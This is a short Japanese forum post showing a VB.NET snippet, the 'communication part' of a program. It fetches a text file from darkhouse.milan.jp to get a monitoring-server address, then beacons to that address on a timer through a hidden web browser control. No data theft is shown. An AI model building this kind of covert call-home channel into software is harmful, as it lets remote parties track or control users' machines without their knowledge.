>>258 通信部のプログラム。darkhouse.milan.jp/accesstesta.txt にアクセスして、 監視サーバーのアドレスを取得しさらにタイマーで継続的にアクセス。 Private Sub WebBrowser1_DocumentCompleted(ByVal sender As System.Object, ByVal e As System.Windows.Forms.WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted If bNowebF = False Then If bAccessTested = False Then DestU = Mid$(WebBrowser1.DocumentText, 168) DestU = Mid$(DestU, 1, Len(DestU) - 22) bAccessTested = True End If : End If End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load If System.Net.NetworkInformation.NetworkInterface.GetIsNetworkAvailable() Then WebBrowser1.Navigate(New Uri("darkhouse.milan.jp/accesstesta.txt")) Else bNowebF = True : Timer1.Enabled = False End If End Sub
Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer1.Tick If bNowebF = False Then If Microsoft.VisualBasic.Left(DestU, 1) = "h" Then _ WebBrowser1.Navigate(New Uri(DestU)) End If End Sub
